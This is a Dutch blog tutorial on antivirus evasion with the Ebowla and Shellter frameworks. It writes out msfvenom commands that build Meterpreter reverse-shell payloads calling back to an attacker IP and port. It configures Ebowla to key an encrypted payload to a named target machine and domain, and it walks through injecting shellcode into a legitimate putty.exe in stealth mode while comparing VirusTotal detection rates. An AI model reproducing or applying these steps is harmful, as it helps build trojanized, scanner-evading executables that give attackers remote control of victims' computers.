Anti Virus Evasion part 2
Deze post is feitelijk een vervolg op mijn “https://jarnobaselier.nl/evade-virusscanners-invisible-payloads” post uit 2018. Hoewel de topics in deze post nog steeds actueel zijn en je er goede tips in kunt vinden. Maar zelf gebruik ik regelmatig 2 andere frameworks waar ik betere resultaten mee haal dan met Veil Evasion of TheFatRat. Ik wil graag de volgende frameworks laten zien, namelijk “Shellter” en “Ebowla”.
Laten we eens beginnen met Ebowla. Ebowla staat voor “Ethnic BiO Weapon Limited Access” en is officieel niet meer supported maar werkt nog steeds zeer goed. Ebowla is een framework waarbij de payload versleuteld wordt op basis van omgevingsvariabelen. De uiteindelijke payload zal dus alleen draaien indien de environment variables matchen. Dit zorgt ervoor dat Ebowla voornamelijk een “sniper” is en doelgericht inslaat.
Naast Ebowla bestaat er ook een Python3 fork genaamd “3bowla”. Maar in deze post richt ik me op de “Ebowla” variant. Om Ebowla te begrijpen moeten we kijken naar de “vijanden” van een vijandige payload. Dit zijn primair “Anti Virus”, “Sandbox” en “Reverse Engineering” Al deze “vijanden” worden verslagen doordat Ebowla de uiteindelijke payload versleuteld met de omgevingsvariabelen.
De uiteindelijke output kent 3 types, Python, Powershell en Go(lang) based. In de praktijk blijkt “Go” de beste keuze te zijn wanneer dit mogelijk is. Vervolgens zijn er diverse output mogelijkheden zoals EXE, DLL, Shellcode, Python en Powershell. Een ander voordeel van Ebowla is dat de meeste payloads in-memory worden uitgevoerd.
Laten we het eens proberen. Eerst installeren we Ebowla:
git clone https://github.com/Genetic-Malware/Ebowla.git |
Eventueel moeten de volgende modules nog geinstalleerd worden:
pip install pyparsing pip install configobj |
En nu we Ebowla hebben gaan we door met dezelfde payload als die we gebruikte in het vorige artikel: https://jarnobaselier.nl/evade-virusscanners-invisible-payloads.
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai -b '\x00' -f exe -n 26 LHOST=192.168.100.100 LPORT=4443 > kladblok.exe |
Nu gaan we Ebowla gebruiken voor de versleuteling van deze payload. Om de juiste settings in te stellen moeten we het “genetic.config” bestand aanpassen. We kunnen in dit bestand veel settings aanpassen zoals het OTP pad (One Time Pad), offset in file, IP ranges, System Time etc. Maar deze laten we voor nu op de default waardes staan. Wat we wel aan gaan passen zijn de volgende zaken:
- output_type = GO (omdat we GO volledig in-memory kunnen uitvoeren)
- payload_type = EXE (omdat we ook een “EXE” file gebruiken als payload)
En daarnaast gaan we verderop in de file de omgevingsvariabelen gebruiken. We gebruiken er 3. Uit onderstaande voorbeeld blijkt dat de Ebowla payload alleen zal draaien op een PC genaamd “WS001-DEMO” welke in het “MASTERDOMAIN.local” domain zit en waar een Administrator op ingelogd is.
Nu we dat hebben ingesteld kunnen we onze GO payload gaan maken:
python ebowla.py ~/Desktop/kladblok.exe genetic.config |
We hebben nu onze GO payload gemaakt op basis van de settings uit het “genetic.config” bestand. Om hier weer een EXE van te maken geeft Ebowla ook een build script als output file mee. Dit build script gebruiken we weer om er een EXE van te maken. We gebruiken hiervoor het “go.sh” script en roepen vervolgens onze GO payload in de output directory aan en plaatsen een nieuwe EXE op het bureaublad:
./build_x86_go.sh output/go_symmetric_kladblok.exe.go kladblok2.exe |
Deze file wordt ook in de output directory geplaatst.
Laten we nu de resultaten vergelijken van de “normale” payload v.s. de Embowla encrypted payload op VirusTotal:
Shellter
Het volgende framework wat ik jullie wil laten zien is momenteel mijn persoonlijke favoriet, Shellter.
Shellter is een dynamische tool voor het injecteren van shellcodes in native Windows-applicaties te injecteren (x32 only).
Shellter is een dynamische PE-infector ooit gemaakt welke gebruik maakt van de originele structuur van de applicatie en past hier geen enkele wijziging op toe. Zo zal Shellter b.v. geen aanpassingen maken (behalve als de gebruiker dit wil) een de toegangsrechten voor het geheugen in verschillende secties of zal deze geen extra sectie met RWE-toegang invoegen (wat er onbetrouwbaar uit zou kunnen voor een anti-virus scanner.
Shellter gebruikt een unieke dynamische aanpak die is gebaseerd op de “execution flow” ofwel de “uitvoeringsflow” van de doeltoepassing. Met de “execution flow” bedoelen we de code in de doeltoepassing en alle code daarbuiten (systeem-dll, code in een memory heap etc.). Dit gebeurt om ervoor te zorgen dat functies ook daadwerkelijk tot het doel behoren
Shellter is niet alleen een EPO-infector die probeert een locatie te vinden om een instructie in te voegen om de uitvoering om te leiden naar de payload. Dit doet Shellter middels “tracing”. Tijdens het traceren logt Shellter niet in en telt hij geen instructies die niet in het normale geheugenbereik van de doeltoepassing behoren omdat deze instructies niet kunnen worden gebruikt als referentie om de shellcode permanent te injecteren.
Shellter is beschikbaar in een pro versie en een community versie. In deze post gebruiken we de community versie en in een toekomstige post zullen we de pro versie nader toelichten. De pro versie kent nog meer geavanceerde features en is nog zomaar voor iedereen te koop. Alvorens je de pro versie aan kunt schaffen moet je 5 jaar of langer een gerenommeerd bedrijf hebben. De community versie is echter al aardig goed en kent o.a. de volgende eigenschappen:
- Stealth Mode – Originele functies van de applicatie blijven behouden
- Proprietary Encoding + User Defined Encoding Sequence
- Supports Reflective DLL loaders
- Junk code Polymorphic engine
- Thread context aware Polymorphic engine
- Detects self-modifying code
- User chooses what to inject, when, and where
- Embedded Metasploit Payloads
- User can use custom Polymorphic code of his own
Shellter is compatible met Windows x86/x64 (XP SP3 and above) & Wine/CrossOver for Linux/Mac en is niet afhankelijk van extra dependencies.
Laten we eens kijken hoe Shellter in zijn werk gaat. We gaan de installatie uitvoeren op mijn Kali machine. Je kunt de installatie doen via apt (sudo apt-get install shellter) maar in mijn ervaring werkt het downloaden van de EXE altijd beter (zonder permission storingen). Dus download de meest recente .EXE van https://www.shellterproject.com/download en plaats deze in je “/usr/bin” folder.
Wine (Windows compatible layer) is overigens ook benodigd voor het uitvoeren van Shellter. Dus als je deze nog niet hebt voer je ook het volgende uit:
sudo apt install wine sudo dpkg --add-architecture i386 && apt-get update && apt-get install wine32 |
Nu gaan we een echte (valide) executable gebruiken welke we met Shellter dynamisch gaan injecteren met een payload. We gebruiken hiervoor een valide “putty.exe”.
We kunnen vanuit Shellter een Metasploit payload selecteren of we kunnen er eerst een genereren en via Shellter toevoegen. We kiezen voor deze laatste optie omdat dit iets meer mogelijkheden geeft in het genereren van de payload.
<pre lang="bash"> msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -f raw LHOST=192.168.100.100 LPORT=4443 > payloadshellcode |
En nu starten we Shellter:
wine /usr/bin/shellter.exe |
Shellter zal ons eerst vragen in welke “Operation Mode” we hem uit willen voeren. Automatisch (A) of Manual (M) (of het weergeven van de help functie (H)). In de meeste gevallen zal de automatische modus afdoende zijn. Wanneer je echter volledige controle wilt hebben over het injecteren van de payload dan is het aan te raden om te kiezen voor de manuele modus. Wij kiezen voor de automatische modus waarna we onze target (notepad.exe) moeten selecteren.
Shellter zal nu een backup maken van het originele bestand en het bestand inspecteren op secties waar dynamische de shellcode ingeladen kan worden. Zodra de analyse voltooid is en er een geschikte locatie voor injectie is gevonden zal Shellter vragen of we “Stealth Mode” willen activeren. Deze modus zorgt ervoor dat de executable niet afgebroken wordt nadat de payload is uitgevoerd. We kiezen ervoor om deze te activeren.
Vervolgens krijgen we de keuze uit verschillende default payloads (L) of we kunnen een custom payload gebruiken. In dit geval kiezen we (C) ervoor om een custom payload te gebruiken en we specificeren het pad naar onze shellcode. We vertellen Shellter ook dat dit geen “reflective DLL loader” is. Deze functie laadt de DLL in de adresruimte van het proces zonder
dat er iets weggeschreven wordt op de disk. In “Manual Mode” moet je hier zelf de juiste informatie voor opgeven. In de “Automatic Mode” is het belangrijk om de juiste argumenten te gebruiken. Door “–reflective
Wanneer de injectie geverifieerd is dan is de payload geïnjecteerd en is het “bouwen” van de malicious executable klaar.
In tegenstelling tot Ebowla maakt Shellter het uiteindelijke bestand nauwelijks groter of kleiner.
Wanneer we de resultaten bekijken zien we dat toch nog een groot aantal van de virusscanners onze malafide Putty.exe herkennen. Deze resultaten zijn een beetje vergelijkbaar met Veil. Ebowla doet het dus over het algemeen (default) wat beter maar heeft als “beperking” dat het targetted is.
Nu gaan we wat finetunen via Shellter met de “Manual Mode”. We voeren o.a. het volgende uit:
De resultaten worden hiermee alweer wat beter:
Conclusie
Door wat meer te spelen met instellingen, verschillende executables te gebruiken en verschillende encoders te gebruiken kun je deze resultaten nog flink verbeteren. Al met al zijn zowel Ebowla als Shellter hele krachtige anti-virus-evasion tools. Ze zijn nooit 100% waterdicht (zeker niet met default settings) maar ze komen een heel eind en bieden de “hacker” en krachtige toolkit om mee te experimenteren. Shellter heeft als voordeel dat het dynamische injection biedt en de originele functionaliteit behouden blijft. En Ebowla is nog meer stealthy maar kan alleen doelbewust gebruikt worden. Combineer en leer… want een echte “hacker” geeft nooit op! Succes!!
❤ Pls… deel dit bericht s.v.p. verder op andere kanalen zoals je eigen website, social media of geef hem een dikke like! En… je bent ook van harte welkom in onze NL InfoSec Discord! Hier delen we kennis met elkaar gewoon lekker in het Nederlands. Tot ziens! ❤